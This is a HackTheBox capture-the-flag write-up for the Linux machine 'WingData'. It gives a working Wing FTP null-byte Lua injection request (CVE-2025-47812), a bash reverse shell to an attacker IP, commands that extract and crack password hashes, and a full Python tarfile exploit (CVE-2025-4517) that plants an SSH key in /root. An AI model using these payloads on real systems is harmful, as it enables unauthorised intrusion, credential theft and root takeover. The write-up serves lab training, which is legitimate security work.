🐧

WingData

HackTheBox · Linux · Debian 12 Bookworm

Easy
IP Address
10.129.244.106
Domain
wingdata.htb
FTP Domain
ftp.wingdata.htb
OS
Debian 12 Bookworm
Release
14 Feb 2026
Retire
27 Jun 2026
Creator
WackyH4cker
User Blood
Opcode · 00:07:18
Root Blood
Arsen44 · 00:20:01
CVE-2025-47812 CVE-2025-4517 Wing FTP Null-Byte Lua RCE Python tarfile LPE Arbitrary File Write

Overview

WingData runs a Wing FTP Server instance with anonymous access enabled. The attack chain:

  1. CVE-2025-47812 — Null-byte injection in the Wing FTP web login smuggles Lua code into the session .lua file → RCE as wingftp
  2. Hash cracking — Wing FTP stores salted SHA256 hashes in XML config files; crack wacky’s hash and reuse the password over SSH
  3. CVE-2025-4517 — A sudo-allowed Python backup script calls tarfile.extractall(filter="data"); exploit a PATH_MAX overflow to bypass the data filter and write an SSH key into /root/.ssh/

Recon

Nmap

sudo nmap -p- --reason --min-rate 10000 10.129.244.106

Only 2 open ports:

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open  http    Apache httpd 2.4.66 → redirect to wingdata.htb

OpenSSH version maps to Debian 12 Bookworm. TTL 63 = Linux one hop away.

Subdomain Enumeration

ffuf -u http://10.129.244.106 -H "Host: FUZZ.wingdata.htb" \
  -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
# Found: ftp.wingdata.htb  [Status: 200, Size: 678]

Add both to /etc/hosts:

10.129.244.106  wingdata.htb ftp.wingdata.htb

wingdata.htb — Static Marketing Site

Apache/Debian static site. The “Client Portal” link leads to ftp.wingdata.htb. Directory brute force returns only static assets — nothing actionable.

ftp.wingdata.htb — Wing FTP Server

Server: Wing FTP Server(Free Edition)
Version: v7.4.3   (shown in page footer)

Anonymous login works out of the box (default Wing FTP behavior). No admin panel access without creds.


Shell as wingftp

CVE-2025-47812 — Null-Byte Lua Code Injection

Background: Wing FTP Server before v7.4.4 mishandles \0 bytes in the username field. The name check stops at the null byte (sees a valid username), but the full string is written into the session file as <cookie>.lua. Any Lua code appended after the \0 executes when the session is loaded.

Impact: CVSS 10.0 — unauthenticated RCE, exploitable via anonymous accounts.

Session file structure (normal):

_SESSION['username']=[[anonymous]]
_SESSION['ipaddress']=[[10.10.14.51]]
_SESSION['currentpath']=[[/]]

Crafted username payload:

anonymous\0]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--

Resulting session file (malicious):

_SESSION['username']=[[anonymous\0]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--]]
_SESSION['ipaddress']=[[10.10.14.51]]
_SESSION['currentpath']=[[/]]

The -- comments out the trailing ]], making it valid Lua. The injected code runs on every page load with the malicious cookie.

Step 1 — Inject the Payload (Burp Repeater)

Send a login POST to ftp.wingdata.htb with URL-encoded username:

POST /login.html HTTP/1.1
Host: ftp.wingdata.htb
Content-Type: application/x-www-form-urlencoded

username=anonymous%00%5D%5D%0Alocal+h+%3D+io.popen(%22id%22)%0Alocal+r+%3D+h%3Aread(%22*a%22)%0Ah%3Aclose()%0Aprint(r)%0A--&password=

The response sets a new session cookie.

Step 2 — Trigger Execution

Load /dir.html with that cookie → id output appears at the top of the page:

uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

Note: HTB adjusted the service so Wing FTP does not run as root (unlike the real-world default).

Step 3 — Reverse Shell

Replace id with a bash reverse shell in the Burp Repeater tab:

bash -c 'bash -i >& /dev/tcp/10.10.14.51/443 0>&1'

Trigger the new cookie → shell connects:

nc -lnvp 443
# wingftp@wingdata:/opt/wftpserver$

Upgrade the shell:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Terminal type? screen

Shell as wacky

Wing FTP Password Hashes

Wing FTP stores accounts as XML files. Pull all password hashes:

find /opt/wftpserver/Data -name '*.xml' | xargs grep -i -e salt -e password
# EnablePasswordSalting: 1
# SaltingString: WingFTP
# EnableSHA256: 1

Format: SHA256(password + "WingFTP")

Extract all hashes in hashcat format (hash:salt):

grep -r "<Password>" /opt/wftpserver/Data | \
  sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)</[^>]+>.*#\2:WingFTP#' \
  | tee wingftp.hashes
a8339f8e...:WingFTP   (admin)
a70221f3...:WingFTP   (maria)
5916c748...:WingFTP   (steve)
32940def...:WingFTP   (wacky)
d67f8615...:WingFTP   (anonymous)
c1f14672...:WingFTP   (john)

Crack with Hashcat

Hashcat mode 1410 = sha256($pass.$salt):

hashcat -m 1410 --user wingftp.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
# 32940def...:WingFTP  →  !#7Blushing^*Bride5   (wacky)
# d67f8615...:WingFTP  →  (empty)               (anonymous)

Lateral Movement → wacky

su - wacky
# Password: !#7Blushing^*Bride5
# wacky@wingdata:~$

# or via SSH
sshpass -p '!#7Blushing^*Bride5' ssh wacky@wingdata.htb
cat ~/user.txt

Shell as root

Enumeration — sudo

sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Script analysis (restore_backup_clients.py):

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE    = "/opt/backup_clients/restored_backups"

# Constraints enforced:
# -b  →  must match backup_<digits>.tar   (no path traversal possible)
# -r  →  must start with restore_ + [a-zA-Z0-9_]{1,24}

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data")   # ← vulnerable line

The filter="data" in Python 3.12.3 is vulnerable to CVE-2025-4517.

CVE-2025-4517 — Python tarfile data Filter PATH_MAX Bypass

Vulnerability: The data filter validates link targets by calling os.path.realpath() in non-strict mode. If the path being resolved exceeds PATH_MAX (4096 bytes on Linux), realpath gets ENAMETOOLONG, stops resolving silently, and appends the rest literally. The filter sees a safe-looking path and allows it, but the OS follows the real symlink during extraction — writing outside the extraction directory.

Primitive: Arbitrary file write (create or overwrite any file accessible to root).

Build the Malicious Archive

import tarfile, os, io, sys

comp  = 'd' * 247          # 247 chars × 16 dirs = ~3952 bytes (approaching PATH_MAX)
steps = "abcdefghijklmnop" # 16 single-letter symlink names

with tarfile.open("/opt/backup_clients/backups/backup_223.tar", mode="x") as tar:

    # 1. Build the chain of long dirs + symlinks that inflates the resolved path
    path = ""
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    # 2. Overflow symlink — 254 chars pushes path over PATH_MAX
    #    realpath gets ENAMETOOLONG → stops here → never follows this symlink
    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)   # escapes back to extraction root
    tar.addfile(l)

    # 3. escape → symlink through the overflow to /root
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../root"   # lands at /root
    tar.addfile(e)

    # 4. Write authorized_keys into /root/.ssh/ through the escape symlink
    pub_key = b"\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d vulnq@htb\n"
    c = tarfile.TarInfo("escape/.ssh/authorized_keys")
    c.type = tarfile.REGTYPE
    c.size = len(pub_key)
    tar.addfile(c, fileobj=io.BytesIO(pub_key))

Execute

python3 poc.py   # creates /opt/backup_clients/backups/backup_223.tar

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_223.tar -r restore_vulnq
# [+] Backup: backup_223.tar
# [+] Staging directory: /opt/backup_clients/restored_backups/restore_vulnq
# [+] Extraction completed in /opt/backup_clients/restored_backups/restore_vulnq

Root Shell

ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
# root@wingdata:~#

cat /root/root.txt
# 4cb2f067************************

Credentials Summary

Account Credential Method
wingftp CVE-2025-47812 RCE (anonymous login)
wacky !#7Blushing^*Bride5 Hashcat SHA256+salt (mode 1410)
root SSH key CVE-2025-4517 arbitrary file write

Key Techniques

Phase Technique Detail
Initial access Null-byte Lua injection CVE-2025-47812 · Wing FTP ≤ 7.4.3
Code execution trigger Load session cookie Lua executes on /dir.html load
Hash extraction XML config files /opt/wftpserver/Data/1/users/*.xml
Hash cracking SHA256($pass.$salt) Hashcat mode 1410 · salt = WingFTP
Lateral movement Password reuse wacky FTP password = SSH password
Privilege escalation PATH_MAX overflow CVE-2025-4517 · Python 3.12.3 tarfile
Root write primitive Symlink chain → /root/.ssh/ Arbitrary file write as root

References